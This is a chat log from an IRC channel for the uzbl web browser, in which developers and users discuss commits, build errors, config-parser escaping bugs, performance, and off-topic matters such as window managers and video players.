21:09 < bob_f> http://www.ohloh.net/accounts/bobf
21:09 < Dieterbe> i didn't know if was given explicitly. i thought it was calculated automatically based on number of code written and such
21:09 < dum8d0g> holizz: well, I installed uzbl before half an hour
21:09 < bob_f> Oh, I see, so you get more kudos if other people who gave you kudos get more.
21:10 < bob_f> That, or I have some secret admirers.
21:10 < bct> holizz, you deserve it :)
21:11 < bob_f> I need to find out where the hell this festival is.
21:11 < bct> granted, "it" was a single mouse click.
21:11 < bct> but even so.
21:11 < Dieterbe> bct: festival?
21:11 < bob_f> bct: festival ?
21:11 < holizz> I think I prefer LaunchPad's method of calculating your points.
21:12 < bct> everybody: festival?
21:12 < bob_f> \o/
21:12 < bob_f> Dieterbe: http://www.gladefestival.com/
21:12 < bob_f> I go every year, but it's in a new location this year.
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21:14 < dum8d0g> ha.. when I do rightclick - open link, it just spawns one window, but when i leftclick I will get two (same)
21:15 < holizz> dum8d0g, That'll be Google taking your single click and assuming you have a popup blocker (for some reason). Might be something to do with there being no communication between one instance and the windows it spawns.
21:17 < bob_f> Hooray, looks like it's super easy to get there.
21:17 < dum8d0g> holizz: weird
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21:20 < github> uzbl: Abel `00z' Camarillo experimental SHA1-269e997
21:20 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into the00z
21:20 < github> http://bit.ly/XdFm2
21:20 < github> uzbl: Abel `00z' Camarillo experimental SHA1-63682dd
21:20 < github> Merge branch 'experimental' into the00z
21:20 < github> http://bit.ly/11qfGe
21:20 < github> uzbl: Abel `00z' Camarillo experimental SHA1-fcb0c08
21:20 < github> replace that ugly ${!8} bashism
21:20 < github> http://bit.ly/xaXt7
21:20 < github> uzbl: Abel `00z' Camarillo experimental SHA1-1b5ba5b
21:20 < github> Merge branch 'experimental' of git://github.com/Dieterbe/uzbl into the00z
21:20 < github> http://bit.ly/MdUp6
21:20 < github> uzbl: Dieter Plaetinck experimental SHA1-42c87fb
21:20 < github> merge in the00z his ${!8} fix for posix sh
21:20 < github> http://bit.ly/gAmAP
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21:21 < Dieterbe> http://downforeveryoneorjustme.com/gladefestival.com
21:21 < Dieterbe> site is down kthxybe
21:22 < holizz> Dieterbe, It was the first two times I tried, but it seemed to go back up on the third attempt.
21:23 < Dieterbe> where is it? site is slow as butt
21:27 < Dieterbe> uranther: when building uzbl as library, shouldn't we call it uzbl.so ?
21:28 < uranther> Dieterbe, when you gcc -luzbl it assumes a file called libuzbl.so or libuzbl.a
21:29 < Dieterbe> ..and?
21:30 < uranther> i didn't know it was possible to override that behavior
21:30 < Dieterbe> so why do you call it .o and not .so?
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21:30 < uranther> oh uzbl.o
21:31 < uranther> that's standard output from gcc
21:31 < uranther> it's needed to build the shared library though
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21:49 < bct> just got bitten by a while(); {} bug.
21:49 < bct> good times.
21:51 < Phillemann> What bug is this?
21:51 < Phillemann> The superfluous semicolon?
21:51 < bct> yup.
21:51 < Phillemann> gcc warns about this
21:51 < uranther> yea it should..
21:52 < bct> is there a flag somewhere? i don't get any warning about it.
21:53 < bct> i've got -Wall and -Wextra
21:54 < Dieterbe> uranther: i can't seem to find documentation on build_stream_name + there are still whitespace issues on 2 places..
21:55 < Phillemann> bct: -Wempty-body is enabled by -Wextra, so it _should_ work.
21:58 < bct> i get empty body warnings for if
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21:59 < bct> was it added in 4.3 maybe?
21:59 < bct> i'm only using 4.2, man gcc doesn't mention -Wempty-body
22:01 < Phillemann> Yes, I think it's fairly new
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22:14 < github> uzbl: Tom Adams experimental SHA1-c4faad1
22:14 < github> Whitespace fixes. And ignore whitespace in formfiller data files.
22:14 < github> http://bit.ly/3MgPoB
22:14 < github> uzbl: Tom Adams experimental SHA1-23edd78
22:14 < github> Add note about whitespace to docs/CONTRIBUTING.
22:14 < github> http://bit.ly/2M3eVf
22:14 < github> uzbl: Dieter Plaetinck experimental SHA1-f8cffd7
22:14 < github> Merge commit 'holizz/whitespace' into experimental
22:14 < github> http://bit.ly/yjKwl
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22:14 < Dieterbe> holizz: are you sure we can ignore whitespace in formfiller? why not make sure that formfillers generated files also contain no extraneous whitespace?
22:16 < holizz> Dieterbe, I couldn't find anybody on #uzbl who used formfillers at the time, so I couldn't be sure that it wouldn't break things. And besides, if it's supposed to be a machine-generated/-readable format it doesn't neccessarily need to conform to the high standards we set for source code.
22:17 < holizz> I felt applying source code rules to sample data files might have been over-generalisation of style guidelines.
22:17 < Dieterbe> meh
22:17 < holizz> Like a Web developer who doesn't use tables for tabular data because they've heard tables are evil.
22:18 < Dieterbe> those are just idiots :)
22:18 < Dieterbe> but anyway
22:18 < Dieterbe> i don't see why it is less bothersome when a tool generated it or not
22:19 < Dieterbe> in fact it's easier to control when a tool generates it
22:19 < Dieterbe> but you know what. it doesn't matter
22:19 < Dieterbe> if someone cares enough, we'll see a patch someday
22:19 < Dieterbe> i'm going to sleep now
22:20 < Dieterbe> good night everyone
22:20 < holizz> Night!
22:33  * Rodya added more comments to batch_downloader.sh, some new features for exporting URIs, and speed improvements when using --confirm
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00:38 < celestial> hi
00:38 < celestial> my mind is becoming solpsistic
00:38 < celestial> help
00:38 < celestial> :P
00:39 < celestial> is there anyone here?
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02:15 < Evanlec> so do we have mouse-button binding support yet? ;p
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04:52 < scj> Evanlec: http://github.com/krayon/uzbl/tree/master
04:54 < Evanlec> scj: good deal, is that merged into the main branch yet?
04:54 < scj> don't think so
04:54 < Evanlec> is this your fork?
04:54 < scj> no, krayons
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07:45 < debio264> so I just installed this browser
07:45 < debio264> and uhhh, am I supposed to be able to type things in text boxes?
07:45 < debio264> or is that something that's being worked on?
07:45 < jrick> you have to set it to insert mode
07:46 < jrick> uzbl is modal (like vim) be default
07:46 < debio264> ah, vi style?
07:46 < jrick> s/be/by/
07:46 < debio264> k
07:46 < debio264> now I feel like an idiot
07:46 < debio264> but hey, oh well
07:47 < debio264> anyway, I gtg
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09:03 < Dieterbe> good morning ladies
09:08 < Taka0> morning Dieterbe
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10:45 < bob_f> Taka0: Ha ha, he said "ladies" and then you answered !!!!
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10:49 < Dieterbe> lol bob_f 
10:50 < bob_f> Annnnnyway, festival time ! Catch you guys next week.
10:50 < Dieterbe> have fun
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11:21 < Dieterbe> it's indeed quite quiet
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11:42 < Dieterbe> [/names
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12:32 < Phillemann> Oh, uzbl is featured on lwn.net
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12:36 < Dieterbe> surprise !!
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15:18 < Dieterbe> Phillemann: are you a subscriber on lwn?
15:18 < Dieterbe> i think most people will have to wait a week to see it :P
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16:07 < Phillemann> Dieterbe: Yep, I am
16:08 < Phillemann> Pretty positive, objective review in my opinion. :)
16:08 < Dieterbe> Phillemann: yeps, only a few tiny mistakes
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16:11 < Dieterbe> the author sent me the article by mail so i already read it (but i'm curious to see the "real" version in a week.)
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16:17 < holizz> Is this an article about uzbl?
16:18 < Dieterbe> yeah
16:18 < holizz> Oooh.
16:20 < Dieterbe> Phillemann: also, you can tell the author did plenty of research, which is nice
16:21 < Phillemann> Dieterbe: Hmmm, I'd have guessed the author did a little interview with you personally
16:22 < Dieterbe> that's correct :{
16:22 < Dieterbe> :) i mean
16:22 < Dieterbe> he did the whole package, he actually used it, he did research, and he interviewed me ;)
16:23 < Phillemann> Hehe, okay
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16:37 < neldoreth> http://www.golem.de/0907/68416.html
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16:38 < Phillemann> Hehe, nice
16:39 < Phillemann> They even feature the sausage image.
16:40 < Dieterbe> lol
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16:50 < mason-l> Hey holizz are you online still?
16:50 < holizz> I'm here.
16:51 < mason-l> holizz, I noticed your new_window mod was added into Dieterbe's experimental and I pull it in today and was trying to get it working with uzbl_tabbed.py
16:51 < mason-l> Have you tried to do that yet?
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16:51 < holizz> No, I haven't.
16:51 < mason-l> I'm trying at the moment and I've hit a little snag.
16:52 < mason-l> I was just asking to find out if you ran into the same problem as I just have.
16:54 < holizz> Let me guess... there's no obvious way to send the new_window handler uzbl_tabbed's FIFO path...?
16:55 < mason-l> Nope thats not the problem.
16:55 < holizz> Hmm. Then what is it?
16:56 < mason-l> the parser handles escaped characters in settings differently than in bindings.
16:57 < mason-l> As far as I've been able to try I can not set a command with escaped ' or "'s in it to retain the "escapage".
16:59 < holizz> Haha. See this is why we need a real language.
17:00 < mason-l> I.e. setting binds with escaped characters works: bind g> = sh "echo \"goto -1\" > \"/tmp/uzbltabbed_22360\""   but sets on the other hand (with the same backslash-hell) registers this internally:   set new_window = sh "echo "new '$8'" > "/tmp/uzbltabbed_23421""
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17:06 < holizz> Didn't somebody propose the other day to use JSON for the config? It's all essentially setting variables, so it should be fine. And it's fairly simple to parse, so we wouldn't need a library.
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17:10 < mason-l> Upon further investigation this problem applies to setting a parameter via socket, loading a command with escapes in it from the config file and stdin. Setting parameters via a uzbl binding maintains escaped characters and this is the only place it works.
17:11 < mason-l> 'and from stdin I should say.
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17:27 < Allive> hi, do anybody know, how can i get current clipboard data from javascript, for some reason run("print @( xclip -o )@") make uzbl thiiiink a lot.
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17:37 < bct> the only problem i see with a JSON config is that is that you still need some language that can be written to the socket/fifo to modify the config at runtime
17:37 < bct> i guess you could do some clever merging, e.g. to unbind a key sequence you'd write
17:38 < bct> { "bindings": { "gn": null } }
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17:39 < tobias|h1me> hi
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17:39 < bct> hello.
17:39 < holizz> I think you could get away with simple merging. If the config already has a binding for "gn", then replace it with the new one.
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17:40 < tobias|h1me> can someone tell me what is $XDG_DATA_HOME?
17:42 < Dieterbe> read our faq
17:43 < tobias|h1me> Dieterbe: i see it .. searching for hours :/
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17:43 < mason-l> Added a bug-report for this problem: http://www.uzbl.org/bugs/index.php?do=details&task_id=73
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17:45 < bct> mason-l, have you tried double-escaping the \s?
17:45 < mason-l> bct, Yes \\\" still "'s
17:45 < mason-l> bct, \\\\\\\\\\\\\
17:46 < mason-l> I mean \\\\\\\\\" still "'s
17:46 < Dieterbe> not enough backspaces !
17:47 < bct> hmm, ok. i thought that maybe expand() was grabbing the \s (which would explain why it doesn't happen on bind), but i guess not.
17:47 < Dieterbe> i got a disease, and the only cure.. more backspaces !
17:47 < Dieterbe> s/disease/fever/
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17:51 < mason-l> bct, Actually using \\\" via the s bind (the set command bind) dumps: set new_window = sh "echo \"test string\""
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17:52 < mason-l> Although thats not correct behavior either.
17:54 < mason-l> Setting via the config file eats every last \\\\\\\\ though.
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18:06 < rw> hi
18:07 < rw> ubuntu 9.04's version of webkit doesn't support Webkit's inspector even though it has webkit-1.0
18:10 < Dieterbe> well, we can't do much about that i guess
18:11 < tobias|h1me> is it possible to bind something on a mouse button?
18:12 < Allive> with javascript i think it's possible
18:13 < rw> Dieterbe: it's a bit strange as ubuntu includes webkit-1.0 which is the dependency for uzbl *shrug* - maybe the pkg-config should be webkit-1.1? dunno
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18:15 < Dieterbe> rw: i think the webkit inspector is already quite old. eg http://www.oreillynet.com/mac/blog/2007/06/the_new_webkit_inspector.html suggests june 2007
18:16 < Dieterbe> so maybe bumping your version doesn't help perse, you just need compiled in support i would guess
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18:18 < rw> Dieterbe: hm silly, looking at the current code of webkit it has an webkitwebinspector.h. why would ubuntu rip that out?!
18:18 < Dieterbe> i don't know
18:18 < rw> right - just wondering ;)
18:19 < holizz> rw, "why would ubuntu rip that out?" Because it's their job to mess around with packages.
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18:23 < rw> holizz: well, i can see they have to patch upstream - but cut functionality out? *shrug*
18:23 < bct> maybe there's a webkit-dev package or something?
18:23 < rw> but wait, maybe there is an inspector-package
18:23 < rw> bct: well, only the dev-stuff includes the headers
18:23 < krayon> tobias|h1me: My branch (currently out of date with Dieterbe's experimental) lets you
18:23 < bct> right, i don't know how ubuntu/debian split things up
18:24 < bct> i just know that every package has a few dozen subpackages, and the stuff that i want is never included in the default
18:24 < tobias|h1me> krayon: k, i test it :)
18:24 < rw> robin@harmony j:0 (18:24:49)~ # apt-file search webkitwebinspector.h
18:24 < rw> robin@harmony j:0 (18:24:53)~ #
18:24 < rw> nice
18:25 < mason-l> bct, Sounds like you should move to Gentoo :P
18:25 < bct> mason-l, i am on gentoo :)
18:25 < mason-l> bct, <3
18:25 < holizz> bct, That's all you need to know about Debuntu's packaging policy.
18:25 < bct> this is just when i'm forced to use it on other people's computers
18:26 < rw> i usually like debian/ubuntu pretty much bit this kinda sucks
18:26 < rw> s/bit/but/
18:31 < krayon> tobias|h1me: bind <mouse1>,<wheelup> etc (currently they override if bound)
18:32 < rw> okay, they didn't rip it out - upstream just doesn't have it (or something like that *g*)
18:32 < tobias|h1me> but what is button 8? mouse8?
18:37 < tobias|h1me> and how can i use tabs? do you know an example config for this?
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18:37 < krayon> tobias|h1me: I have tabbed window manager so I don't know, sorry.
18:37 < krayon> tobias|h1me: up to mouse9 will work.
18:37 < tobias|h1me> ok
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18:43 < holizz> How do we set handlers to two commands? i.e. set load_commit_handler = "spawn ...; set x=y"
18:43 < bct> have you tried chain?
18:44 < ruskie> chain works
18:46 < holizz> Hmm. Not sure it's working, but gtg. See you later. (P.S. I'm gonna work on a favicon script).
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18:50 < ruskie> ugh
18:50 < ruskie> favicons should die
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19:03 < tobias|h1me> uzbl is really nice, but at the moment a bit slow. :)
19:07 < bct> yeah. we suspect a big part of the problem is the way the cookie handler is run
19:07 < bct> (but i don't think anybody's actually tested, have they?)
19:08 < bct> and all the requests seem to be done serially, which is part of it.
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19:39 < psy> hi again :)
19:39 < psy> oh...
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19:39 < miinar> :)
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19:59 < miinar> do someone knows a collaboration software which works with the unix principle?
19:59 < Allive> can anybody tell me, why this string  in js script make uzbl lags
19:59 < Allive> Uzbl.run("print @(xclip -o)@")
20:00 < Dieterbe> miinar: git
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20:02 < bct> Allive, do you see the same lag if you do run("print @(echo hello)@") and run("print @status_message") ?
20:04 < Dieterbe> krayon: which WM do you use?
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20:05 < Dieterbe> 19:07:28 < bct> yeah. we suspect a big part of the problem is the way the cookie handler is run
20:05 < Dieterbe> 19:07:37 < bct> (but i don't think anybody's actually tested, have they?)
20:05 < Dieterbe> it's really the cookie handler
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20:08 < Allive> 2 bct, no
20:11 < Allive> bct, can you test it ?
20:12 < miinar> Dieterbe: haha okay :D
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20:15 < krayon> Dieterbe: /me uses fluxbox
20:17 < krayon> FWIW, I went from Fluxbox -> OpenBox -> PekWM -> Fluxbox.
20:17 < krayon> I originally left flux do to some features it didn't have but that's been rectified now :)
20:17 < krayon> s/do/due/
20:20 < bct> Dieterbe, how do you know?
20:20 < bct> Allive, i'm not at a computer with uzbl right now
20:21 < Allive> bct, ok
20:21 < bct> if there's no problem with the echo, then maybe it's xclip that's running slow?
20:22 < Dieterbe> bct: just disable the cookie handler and notice how uzbl is 10x faster :)
20:22 < bct> ah, ok. i haven't actually tried that.
20:22 < bct> good to know, though
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20:31 < Allive> bct, i don't think so, because xclip works fine from other scripts, and it lags only when was called like this
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20:32 < bct> hmm, interesting.
20:32 < bct> not sure why that would be.
20:38 < Allive> hm, strange, but it seems that such code works fine:
20:38 < Allive> alert(Uzbl.run("print @(xclip -o)@"))
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20:46 < Allive> bct, it seems to be my fault...
20:46 < bct> oh?
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21:59 < littleendian256> Hi, I have trouble building uzbl on Debian stable, make fails with: http://pastebin.com/ma261cf
21:59 < littleendian256> I think gcc is trying to tell me that its not aware of a type called ‘WebKitWebInspector’
22:00 < littleendian256> I am using the debian webkit-dev packages, is that supposed to work?
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22:10 < Dieterbe> uranther: here?
22:10 < Dieterbe> uranther: what happens if we want to change the fifo_path? shouldn't we clean up the old fifo before creating the new?
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22:14 < uranther> Dieterbe, h/o lemme look at the commit
22:16 < Dieterbe> fifo_dir is the name
22:16 < Dieterbe> which calls cmd_fifo_dir, which calls init_fifo
22:17 < uranther> yeah that makes sense.. if they call set fifo_dir while uzbl is running
22:20 < uranther> I didn't think of that when I removed that code.. I think was taking more into consideration of the code duplication, since the same exists elsewhere in uzbl.c
22:20 < uranther> maybe there should be a clean_up_fifo() function instead..
22:21 < Dieterbe> meh. it's only one unlink call. doesn't need to be put in a separate function
22:21 < Dieterbe> anyway if you could fix this and push back..
22:22 < uranther> want me to just add the first part of this commit? http://github.com/uranther/uzbl/commit/7d211685f5aa8168eba60f35f06332e5289102c4
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22:23 < Dieterbe> yeah just the first block. the 2nd one doesn't make much sense i think and should stay out
22:23 < uranther> k cool
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22:27 < uranther> Dieterbe, tested and pushed :)
22:27 < Dieterbe> great
22:32 < Dieterbe> uranther: okay if i rename the make target to "tests" ?
22:32 < Dieterbe> you replaced the original test target
22:35 < Dieterbe> aargh, the old targets 'make test' 'make test-dev' etc don't work anymore
22:36 < Dieterbe> uranther: ??
22:37 < Dieterbe> never mind that
22:37 < Dieterbe> i had spaces instead of tab in makefile
22:38 < Dieterbe> uranther: one thing: the syntax of the timestamp is different...
22:40 < Dieterbe> :((
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22:56 < Dieterbe> see mail..
22:58 < Dieterbe> bct: i have no more time today for your stuff. yours is up tomorrow
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23:01 < Dieterbe> good night everyone
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23:13 < bct> sounds good, we'll break everybody's status bar just in time for the weekend
23:13 < bct> :)
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23:33 < bct> does anybody know of a scriptable video player?
23:33 < bct> mplayer -slave is... limited.
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01:50 < joyfulgirl> Is there a reason the number associated with the fifo and socket is called NAME and something like NUMBER (bad example -- undescriptive)
01:51 < joyfulgirl> but still
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02:13 < joyfulgirl> hmm
02:16 < joyfulgirl> Something along the idea of ID or IDENTIFIER, maybe?
02:20 < bct> ok, i'll suggest it tomorrow
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04:27 < Rodya> Open Image in New Window doesn't seem to work for me =/
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04:47 < bct> same over hear.
04:47 < bct> oh man my spelling is awful today i can't believe i did that
04:47 < Rodya> mine gets worse as my the amount of rum in my body goes up
04:48 < bct> true enough, but i'm only on beer #3 :(
04:49 < Rodya> first drink for me, one shot of  bacardi 151 + dr pepper
04:50 < bct> but *what* a drink!
04:50 < bct> you're starting your weekend early
04:51 < Rodya> oh yeah, its thursday isn't it?
04:53 < bct> my boss told me happy weekend yesterday night
04:53 < bct> i was disappointed to find out that it wasn't actualy the weekend :(
04:56 < Rodya> lol
04:58 < Rodya> i've been thinking its friday all day
04:58 < Rodya> no idea why
04:59 < bct> where are you from Rodya?
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05:00 < Rodya> alabama, US
05:01 < Rodya> yourself?
05:01 < bct> alberta, canada
05:02 < bct> the population of this channel is heavily weighted towards europe, it seems.
05:02 < bct> everybody is asleep
05:03 < Rodya> i was beginning to wonder why almost no one talked around this time
05:03 < bct> db always says good night just as i'm getting ready to leave work
05:05 < ajhager> Yeah, I was wondering why it was so quiet in here. But that does make sense.
05:06 < ajhager> Indiana here.
05:07 < bct> i'm jealous of europe's software scene :(
05:07 < Rodya> i know nothing of it
05:08 < bct> it exists, that's more than alberta can say
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05:09 < Rodya> same for AL
05:09 < Rodya> programming jobs seem rather lackluster here
05:09 < Rodya> and nothing really happens here it seems
05:10 < bct> yup.
05:11 < bct> the programming jobs that are here are all Enterprise(TM)
05:11 < bct> for people who get passionate about java and .net
05:11  * Rodya gags a bit
05:11 < bct> :P
05:12 < Rodya> i know a guy who gets paid to write javascript and he enjoys it, i'll never comprehend that
05:13 < Rodya> i got offered a job programming in RPG/400 from some shoe reseller company, and i almost took it
05:14 < bct> javascript's not so bad, it's DOM that sucks
05:14 < bct> i'm not sure what RPG/400 is but it sounds gross
05:15 < Rodya> its not terrible, really (well, i think, most people seem to hate it) but its old and was designed for generating reports
05:16 < Rodya> http://en.wikipedia.org/wiki/IBM_RPG
05:17 < Rodya> i found my classes in that language fun and challenging, oddly enough
05:17 < Rodya> i, however, did refuse to take COBOL after seeing how much trouble people who took those classes had with the language
05:17 < bct> that example code is inscrutable
05:18 < Rodya> lol
05:18 < bct>            pAddr1 = ARAd01;
05:18 < bct> lol wut
05:20 < Rodya> the capital letters are the variable name, iirc, and the letter/numbers after are modifiers on it
05:20 < Rodya> on the right side of the equal sign
05:20 < Rodya> the left side is just a variable name
05:20 < bct> aha, ok
05:21 < bct> this reminds me of some language that i vaguely recall
05:21 < Rodya> its reading fields from a file, basically
05:21 < bct> where each line was actually 3 lines, so that you could put subscripts and superscripts on the line below or above
05:21 < bct> wish i could remember the name
05:21 < Rodya> that sounds interesting o_O
05:22 < Rodya> hrm, my bacardi should go in the fridge, i'm tired of my drinks getting warm
05:30 < bct> well it was hard but you convinced me to break out the whiskey
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05:32 < Rodya> lol, i hope my influence doesn't interfere with your morning =P
05:32 < bct> i'll just drink a bit more coffee
05:33 < bct> it's not like you need to be alert to pump out c++, in fact it probably helps to be a bit hung over
05:33 < Rodya> i can't argue with that
05:36 < Rodya> hmm, i need something to work on, i've run out of ideas for my batch downloader, i've setup my web server, dns server, and mpd on my new intel atom mini-itx box... and now i'm out of ideas
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05:40 < bct> write a video player that's easier to script than mplayer :(
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05:41 < Rodya> what do you find difficult to script about mplayer (also, what do you script mplayer for?)
05:42 < bct> its output is bizarre.
05:42 < bct> it doesn't tell you when it's finished playing a file
05:43 < Rodya> well, you can check return codes
05:43 < bct> and the playlist things it exposes are really limited, so i have to do my own playlist management
05:43 < bct> i'd like to just have one copy of mplayer running as long as my app is running
05:44 < bct> because of the "doesn't tell you when it's done" thing i had to move to a new mplayer instance every time i play a new file
05:44 < bct> i'm writing a really simple web frontend.
05:44 < Rodya> well, if you have a playlist, it does tell you when it starts a new file
05:45 < bct> yeah but it doesn't let you insert things into the playlist
05:45 < bct> or delete things from it, etc.
05:45 < Rodya> i see
05:45 < bct> its output is really meant for a person
05:45 < Rodya> i wonder how gmplayer handled that, since, iirc, it let you change the playlist while playing (i may remember wrong)
05:49 < bct> i should probably look at one of the front-ends but i'm a bit terrified of them
05:49 < Rodya> why? at least one of them has to have helpful comments (trying to be optimistic >.>)
05:52 < bct> not sure where to start because i've never used any of the frontends
05:52 < bct> and i don't like wading through gui code
05:53 < Rodya> me either, i tried to write a gnome panel plugin in C++ once, and only once, i never got past displaying static text because the only documentation i could find were other plugins =/
05:56 < ajhager> window.open(); doesn't work in javascript :/
05:57 < bct> ajhager, are you on the latest experimental?
05:57 < ajhager> No
05:57 < ajhager> Should I be?
05:57 < bct> db merged a repo a day or two ago that fixes that iirc
05:58 < ajhager> I'll have to check it out. Thanks for the tip.
05:59 < bct> db's master is a lot more stable, but there are a lot of good changes going into experimental.
06:02 < Rodya> i've decided, tonight i get way too drunk
06:08 < ajhager> Looks like uzbl-experimental-git in arch is still a bit out of date
06:09 < Rodya> it updates correctly with the current git, unless i'm mistaken
06:09 < Rodya> and i might be
06:09 < Rodya> since im drunk
06:10 < ajhager> That is what I thought it was going to do.  I may be mistaken as well.
06:10 < ajhager> But window.open() isn't working on whatever uzbl I have right now
06:11 < Rodya> it clones $_gitroot, or pulls origin $_gitname, so it must get recent updates
06:11 < Rodya> but maybe i'm still wrong
06:11 < Rodya> time for more rum
06:12 < ajhager> the version I have is 771d31746357df349308cb4094f2873837e90a24
06:13 < bct> could be that i was wrong about what holizz' patches did
06:13 < Rodya> ajhager, i'll update and see what version i get
06:13 < ajhager> The lastest commit is 9a32a5f8c8d18d143cf8b4a89531c866679026c7
06:13 < Rodya> mine isn't that currently, but its several days old
06:13 < ajhager> Rodya: kk
06:14 < Rodya> 771d31746357df349308cb4094f2873837e90a24
06:14 < bct> ajhager, do you have a site that you're testing window.open on?
06:14 < Rodya> was e4ec794daa2a27f4476f53aacbf947f57a27ce5c
06:15 < bct> ajhager: 771d317 is the newest version.
06:16 < ajhager> bct: Ah, ok. Thank you.  window.open() must just not be added yet then.
06:16 < ajhager> I hope it is soon though.  Sometimes its nice to open hinted links in a new window
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06:19 < Rodya> i need to get used to using the link hinting stuff
06:24 < bct> it's hard after 11 years of mouse-surfing
06:26 < ajhager> Uzbl is a dream come true.
06:26 < Rodya> i've been steadily moving away from using the mouse (getting more familiar with vi(m) etc)
06:27 < ajhager> Rodya: do you use a tiling window manager?
06:27 < Rodya> no, openbox
06:27 < bct> good old *box
06:27 < Rodya> the tiling window managers i've tried didn't play well with having two monitors in my experience
06:28 < ajhager> If you can deal with a bit of haskell, xmonad handles it wonderfully.
06:29 < Rodya> i've been thinking about trying that, but i'm totally unfamiliar with haskell, so it'd be a delicious learning curve (which is why i haven't tried it just yet)
06:29 < ajhager> I'd give anything for even a simple tiling wm on windows on the rare occasion I have to dev on it.
06:29 < bct> i've resorted to developing in a linux vm at work
06:30 < ajhager> They extremely good examples and documentation. Plus #xmonad is very helpful.  You should give it a try when you've got a free evening.
06:30 < Rodya> ajhager, i'll give it a try in another x session sometime
06:30 < bct> an xmonad config file isn't terribly mindbending
06:30 < bct> it's just a matter of figuring out the syntax
06:31 < Rodya> if that's all it shouldn't be hard, syntax is a simple thing given even simple documentation
06:31 < bct> writing your own thingies is where you'll be reduced to to awe
06:31 < ajhager> Yeah, unless you want to do something very custom, you don't really have to know any haskell.
06:32 < ajhager> But if xmonad-contrib doesn't have what you need, I would be surprised.
06:32 < Rodya> how is it on memory usage? (its not a huge concern, but i like my WM to use less memory so i can use it elsewhere)
06:32 < bct> it doesn't even register in my top
06:33 < ajhager> yeah, its tiny
06:34 < Rodya> definitely worth looking at then
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06:40 < ajhager> I didn't know about window.Uzbl.run()
06:40 < ajhager> That works perfectly.
06:44 < Rodya> :D
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06:45 < ajhager> Is there a way to clear the command buffer?
06:46 < ajhager> like the same functionality as hitting escape in command mode
06:46 < Rodya> where are you when doing this if not in command mode?
06:47 < ajhager> I have hint mode setup to where, if I do f##
06:47 < ajhager> it clicks that link
06:47 < ajhager> When that happens, the f## goes away
06:47 < ajhager> but
06:48 < ajhager> I have F## open the link in a new window
06:48 < ajhager> when I go back to the original window, the F## is still there
06:48 < ajhager> For some reason
06:49 < ajhager> So if I could clear the command buffer before opening the window, I woulndn't have th problem
06:49 < Rodya> im not sure... i've not seen a command stay there after being executed before o_O
06:49 < ajhager> Me either.  I don't know if it has to do with calling the spawn from javascript
06:52 < Rodya> there is keycmd_bs (see readme)
06:52 < Rodya> not sure how that works, haven't messed with it myself
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06:53 < ajhager> That looks like it might.  I hadn't seen that in the README
06:55 < ajhager> keycmd_nl lets you set the entire area at once.  Perfect.
06:55 < ajhager> Rodya: Thanks
06:56 < Rodya> im glad you made it work :)
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09:09 < Dieterbe> good morning
09:10 < ajhager> good morning
09:11 < holizz> Hi.
09:11 < Dieterbe> bct> sounds good, we'll break everybody's status bar just in time for the weekend <-- were you joking or serious?
09:12 < Dieterbe> i mean, is there any "catch" other then that users need to check the sampleconfig for the new syntax?
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10:22 < Dieterbe> hmm did we break searching at some point?
10:23 < Dieterbe> with sampleconfig, if i type '/foo' and then press enter, it will hilight all 'foo' occurences, but if i then press 'n' nothing happens
10:25 < Dieterbe> hmmm now it works
10:25 < Dieterbe> ah never mind, it was my mistake (there was only one match)
10:29 < ajhager> Is there currently a way to spawn a new uzbl instance without it taking focus?
10:30 < ajhager> I thought I read about it in one of the docs, but now I can't find it.
10:31 < Dieterbe> hmm not that i know. i would like this too
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10:34 < Dieterbe> scj: any news on the formfiller btw?
10:46 < holizz> Favicons!!!
10:48  * krayon slaps himself in the forehead
10:48 < krayon> holizz: jk ;)
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10:49 < holizz> Now how do we get uzbl to dump the content of the page it's on? I'd rather do that than re-querying the server.
10:49 < holizz> i.e. from a FIFO.
10:49 < Dieterbe> holizz: some should write an "image to ascii art" conversion script, then we could show the ascii representation of the favicon in the statusbar/window title
10:49 < krayon> holizz: FWIW firefox view source reloads because it's stupid
10:50 < krayon> Dieterbe: problem with that is you only have one line high :P
10:51 < Dieterbe> krayon: right. what about finding the best matching utf8 character? there are plenty of weird utf8 characters, there should always be one that somewhat resembles the favicon :P
10:51 < holizz> I shall now find out if Pango supports <img> or similar.
10:55 < holizz> Answer: no.
10:55 < Dieterbe> meh, i don't care much about favicons
10:58 < holizz> So, Dieterbe, can I get the page contents at all? Like dump_html or something? Or will I need to have my script make another request?
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11:01 < Dieterbe> holizz: i think it can be done yes, but i'm not sure how. i think this something in the field of the JS guru's
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11:13 < krayon> Dieterbe: lol yeah that'd work :P
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11:36 < aep> greetings
11:36 < aep> i'm confused how uzbl actually works
11:36 < aep> the readme tells you the commands you can use but not where to enter them
11:36 < aep> whatever i type in the browser windoe  ends up in the window title
11:37 < krayon> aep: You'll want to check out the example configs
11:38 < krayon> aep: by default it's not THAT awesome.
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11:40 < aep> i dont get it
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11:41 < aep> there are a bunch of scripts related to history and stuff
11:42 < Dieterbe> aep: read our FAQ
11:44 < aep> yeah it sais  "pres i for insert mode"
11:44 < aep> unforutnatly that doesnt do anything
11:45 < Dieterbe> start reading the faq from the top ;)
11:45 < krayon> aep: I think he means READ the FAQ (completely and properly) :P
11:46 < aep> i did also run the example config if thats what you mean
11:46 < aep> ie the first faq entry
11:46 < aep> that doesnt change the behaviour other then it wont load urls from --uri anymore
11:47 < Dieterbe> then you're using an outdated version
11:47 < krayon> aep: what is it you are trying to do exactly?
11:47 < Dieterbe> but if you load the sampleconfig, it should really go into insert mode when you press i. no matter which uzbl version
11:47 < aep> krayon: try the browser :D
11:47 < aep> currently i'm trying to insert stuff intoa  form
11:48 < aep> Dieterbe: nope, the i will just end up in the title bar
11:48 < krayon> aep: OK so ensure your config has a key bound to "insert mode" or that you have always insert on
11:48 < krayon> aep: Checkout the example configs for how to do this (as in read them and scavenge what you require).
11:49 < Dieterbe> aep: run uzbl --verbose and look at all the bindings it pefroms. it should say 'bind i = toggle_insert_mode' or something like that
11:50 < aep> it doesnt accept additional arguments when using --config
11:50 < aep> just sits there with a white page. everything i type ends up in the title bar and it wont load the page from --uri
11:51 < aep> i dont get it.
11:51  * aep goes back to vimperator
11:51 < Dieterbe> ok bye
11:53 < krayon> aep: What version are you using (not that it should matter)?
11:53 < aep> dunno, there appears to be no --version or -v
11:53 < aep> neither a manual
11:54 < aep> Version        : 20090607-1
11:54 < aep> thats from the package manager
11:55 < aep> i installed uzbl-git from archlinux/aur
11:56 < aep> huh i just reinstalled and it works
11:57 < aep> it didnt compile anything though oO
11:57 < krayon> For me, running without a config, 'i' doesn't work :S
